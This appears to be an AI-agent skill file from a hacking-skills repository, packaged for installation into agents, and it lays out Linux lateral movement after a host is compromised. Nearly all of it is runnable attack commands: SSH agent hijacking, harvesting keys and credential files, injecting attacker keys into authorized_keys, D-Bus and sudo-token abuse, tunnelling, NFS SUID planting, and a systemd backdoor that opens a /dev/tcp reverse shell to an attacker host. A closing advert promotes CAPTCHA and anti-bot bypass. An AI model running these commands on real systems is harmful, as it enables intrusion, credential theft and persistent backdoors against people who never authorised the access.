linux-lateral-movement

>-

INSTALLATION
npx skills add https://github.com/yaklang/hack-skills --skill linux-lateral-movement
Run in your project or agent environment. Adjust flags if your CLI version differs.

SKILL.md

$27

# As root (or user with access to other users' processes):

find /tmp -path "*/ssh-*" -name "agent.*" 2>/dev/null

# Or via /proc:

grep -r SSH_AUTH_SOCK /proc/*/environ 2>/dev/null | tr '\0' '\n'

# Typical path: /tmp/ssh-XXXXXX/agent.PID

1.2 Hijack Agent Forwarding

# Set the found socket as our auth agent

export SSH_AUTH_SOCK=/tmp/ssh-AbCdEf/agent.12345

# List available keys in the agent

ssh-add -l

# If keys appear → we can use them

# SSH to any host this agent can authenticate to

ssh -o StrictHostKeyChecking=no user@internal-host

# The agent owner won't notice — we're using their forwarded agent

1.3 Persistent Agent Monitoring

# Monitor for new SSH agent sockets (wait for admin to SSH in)

inotifywait -m /tmp -e create 2>/dev/null | grep ssh-

# Or poll:

while true; do

    find /tmp -path "*/ssh-*" -name "agent.*" -newer /tmp/.marker 2>/dev/null

    touch /tmp/.marker

    sleep 5

done

2. SSH KEY HARVESTING

2.1 Private Key Locations

find / -name "id_rsa" -o -name "id_ed25519" -o -name "*.pem" -o -name "*.key" 2>/dev/null

# Also: /etc/ssh/ssh_host_*_key (MITM), /home/*/.ssh/id_*

# Find keys without passphrase:

for key in $(find / -name "id_*" ! -name "*.pub" 2>/dev/null); do

    ssh-keygen -y -P "" -f "$key" > /dev/null 2>&1 && echo "NO PASSPHRASE: $key"

done

2.2 known_hosts Parsing

# Hashed known_hosts (common default):

cat ~/.ssh/known_hosts

# May be hashed — use ssh-keygen to check against known IPs:

ssh-keygen -F 10.0.0.1 -f ~/.ssh/known_hosts

# Unhashed known_hosts → direct IP/hostname list

awk '{print $1}' ~/.ssh/known_hosts | sort -u

# Extract all hostnames/IPs from all users' known_hosts

cat /home/*/.ssh/known_hosts /root/.ssh/known_hosts 2>/dev/null \

  | awk '{print $1}' | tr ',' '\n' | sort -u

2.3 authorized_keys Injection

# Generate attacker keypair (on attacker box)

ssh-keygen -t ed25519 -f /tmp/pivot_key -N ""

# Inject public key (on compromised host)

echo "ssh-ed25519 AAAA...attacker_pubkey..." >> /root/.ssh/authorized_keys

echo "ssh-ed25519 AAAA...attacker_pubkey..." >> /home/admin/.ssh/authorized_keys

# SSH back in with our key

ssh -i /tmp/pivot_key root@target

3. CREDENTIAL HARVESTING LOCATIONS

3.1 System Credentials

Location

Contents

Command

/etc/shadow

Password hashes

cat /etc/shadow (root)

/etc/passwd

User list, may contain hashes

cat /etc/passwd

.bash_history

Command history (passwords in cleartext)

cat /home/*/.bash_history

.mysql_history

MySQL commands with passwords

cat /home/*/.mysql_history

.psql_history

PostgreSQL commands

cat /home/*/.psql_history

.pgpass

PostgreSQL password file

cat /home/*/.pgpass

.my.cnf

MySQL credentials

cat /home/*/.my.cnf

.netrc

FTP/HTTP auto-login credentials

cat /home/*/.netrc

.git-credentials

Git HTTPS passwords

cat /home/*/.git-credentials

3.2 Environment & Config Files

# Current process secrets

env | grep -iE "pass|key|secret|token|api|cred|auth"

# All process environments (root):

for pid in /proc/[0-9]*; do

    cat $pid/environ 2>/dev/null | tr '\0' '\n' | grep -iE "pass|key|secret|token"

done

# Application configs (common credential locations):

find /var/www /opt /srv -name "wp-config.php" -o -name "settings.py" \

     -o -name "*.env" -o -name "database.yml" -o -name "docker-compose.yml" 2>/dev/null

# Keyrings & secret stores:

find / -name "*.keyring" -o -name ".vault-token" -o -path "*/.password-store/*.gpg" 2>/dev/null

4. D-BUS EXPLOITATION

4.1 Enumerate D-Bus Services

# List system bus services

dbus-send --system --dest=org.freedesktop.DBus \

  --type=method_call --print-reply \

  /org/freedesktop/DBus org.freedesktop.DBus.ListNames

# List session bus services

dbus-send --session --dest=org.freedesktop.DBus \

  --type=method_call --print-reply \

  /org/freedesktop/DBus org.freedesktop.DBus.ListNames

# Introspect a service (find available methods)

dbus-send --system --dest=org.freedesktop.systemd1 \

  --type=method_call --print-reply \

  /org/freedesktop/systemd1 org.freedesktop.DBus.Introspectable.Introspect

4.2 Abuse systemd & PolicyKit via D-Bus

# Start a service via D-Bus (if policy allows):

dbus-send --system --dest=org.freedesktop.systemd1 \

  --type=method_call --print-reply /org/freedesktop/systemd1 \

  org.freedesktop.systemd1.Manager.StartUnit \

  string:"malicious.service" string:"replace"

# polkit actions available without auth:

pkaction --verbose 2>/dev/null | grep -B5 "implicit active: yes"

5. INTERNAL NETWORK PIVOTING

5.1 SSH Tunneling

# Local port forward: access INTERNAL_HOST:3306 via localhost:3306

ssh -L 3306:INTERNAL_HOST:3306 pivot@compromised-host

# Remote port forward: expose attacker service to internal network

ssh -R 8080:ATTACKER:8080 pivot@compromised-host

# Dynamic SOCKS proxy: route all traffic through pivot

ssh -D 1080 pivot@compromised-host

# Then: proxychains nmap -sT INTERNAL_RANGE

# SSH over SSH (multi-hop):

ssh -J user1@hop1,user2@hop2 target@final-host

5.2 Without SSH — Alternative Tunnels

# socat port forward

socat TCP-LISTEN:8080,fork TCP:INTERNAL_HOST:80 &

# ncat relay

ncat -l -p 8080 --sh-exec "ncat INTERNAL_HOST 80"

# /dev/tcp (Bash built-in, no tools needed)

exec 3<>/dev/tcp/INTERNAL_HOST/80

echo -e "GET / HTTP/1.0\r\nHost: INTERNAL_HOST\r\n\r\n" >&#x26;3

cat <&#x26;3

# chisel (SOCKS proxy over HTTP)

# On attacker: chisel server -p 8080 --reverse

# On target:   chisel client ATTACKER:8080 R:socks

5.3 Network Discovery from Compromised Host

ss -tlnp &#x26;&#x26; ss -tnp                  # Listening &#x26; established connections

arp -a &#x26;&#x26; ip neigh                    # Known adjacent hosts

cat /etc/resolv.conf                  # DNS servers

dig axfr internal.domain @dns 2>/dev/null   # Zone transfer

# Subnet sweep (bash-only, no tools):

for i in $(seq 1 254); do ping -c1 -W1 10.0.0.$i &#x26;>/dev/null &#x26;&#x26; echo "ALIVE: 10.0.0.$i" &#x26; done; wait

# Port scan via /dev/tcp:

for port in 22 80 443 3306 5432 6379 8080; do

    (echo >/dev/tcp/10.0.0.1/$port) 2>/dev/null &#x26;&#x26; echo "OPEN: $port"

done

6. SHARED FILESYSTEM EXPLOITATION

6.1 NFS Mounts

# Discover NFS shares

showmount -e FILESERVER_IP 2>/dev/null

# Check for no_root_squash (root maps to root)

mount -t nfs FILESERVER_IP:/share /mnt/nfs

# If no_root_squash: create SUID binaries visible to other hosts

# All hosts mounting the same share → SUID binary = root on all hosts

cp /bin/bash /mnt/nfs/bash &#x26;&#x26; chmod +s /mnt/nfs/bash

6.2 SMB/CIFS Shares

# Enumerate shares

smbclient -L //FILESERVER_IP/ -N 2>/dev/null      # Null session

smbclient -L //FILESERVER_IP/ -U 'user%password'

# Mount and search for credentials

mount -t cifs //FILESERVER_IP/share /mnt/smb -o username=user,password=pass

find /mnt/smb -name "*.conf" -o -name "*.cfg" -o -name "*.kdbx" \

     -o -name "*.xlsx" -o -name "*.docx" 2>/dev/null

7. SUDO TOKEN REUSE (ptrace-Based)

# If another user has an active sudo session (timestamp not expired):

# And we can ptrace their process (same UID or root)

# Check sudo timestamp files:

ls -la /var/run/sudo/ts/ 2>/dev/null

ls -la /var/db/sudo/ 2>/dev/null

# Files here mean active sudo tokens

# ptrace-based hijack:

# Attach to the user's shell process

# Inject: sudo /bin/bash

# The injected sudo inherits the valid timestamp → no password needed

# Automated tool: sudo_inject

# https://github.com/nongiach/sudo_inject

# Injects into processes with valid sudo tokens

8. SYSTEMD SERVICE MANIPULATION

# Find writable unit files:

find /etc/systemd /usr/lib/systemd -writable -name "*.service" 2>/dev/null

# Inject into existing service (add ExecStartPre=):

# Or create new: /etc/systemd/system/backdoor.service

# [Service] Type=oneshot ExecStart=/bin/bash -c 'bash -i >&#x26; /dev/tcp/ATTACKER/4444 0>&#x26;1'

systemctl daemon-reload &#x26;&#x26; systemctl enable --now backdoor.service

9. LATERAL MOVEMENT DECISION TREE

Compromised host — where to move next?

│

├── SSH credentials available?

│   ├── Private keys found? → try on all known_hosts targets (§2)

│   ├── SSH agent running? → hijack socket (§1)

│   ├── Passwords in history/configs? → spray across hosts (§3)

│   └── authorized_keys writable on other hosts? → inject key (§2.3)

│

├── Network services discovered?

│   ├── Internal web apps? → tunnel + attack (§5.1)

│   ├── Databases (3306/5432/6379)? → check harvested creds (§3)

│   ├── SMB/NFS shares? → mount + search for creds/SUID (§6)

│   └── Kubernetes API (6443)? → load kubernetes-pentesting skill

│

├── Can reach other hosts?

│   ├── Direct SSH? → use keys/passwords

│   ├── Firewalled? → SSH tunnel or chisel (§5)

│   └── No tools? → /dev/tcp + bash (§5.2)

│

├── Root on current host?

│   ├── Read /etc/shadow → crack hashes → password reuse (§3)

│   ├── Dump /proc/*/environ → find service credentials (§3.2)

│   ├── Hijack sudo tokens → piggyback admin sessions (§7)

│   └── Modify systemd services → backdoor (§8)

│

├── D-Bus services available?

│   ├── Privileged services exposed? → method call abuse (§4)

│   └── polkit actions without auth? → privilege actions (§4.3)

│

└── No obvious path?

    ├── ARP scan + port sweep internal network (§5.3)

    ├── Passive credential sniffing (if cap_net_raw)

    ├── Wait for admin SSH → agent hijack (§1.3)

    └── Check for cloud metadata (169.254.169.254)
BrowserAct

Let your agent run on any real-world website

Bypass CAPTCHA & anti-bot for free. Start local, scale to cloud.

Explore BrowserAct Skills →

Stop writing automation&scrapers

Install the CLI. Run your first Skill in 30 seconds. Scale when you're ready.

Start free
free · no credit card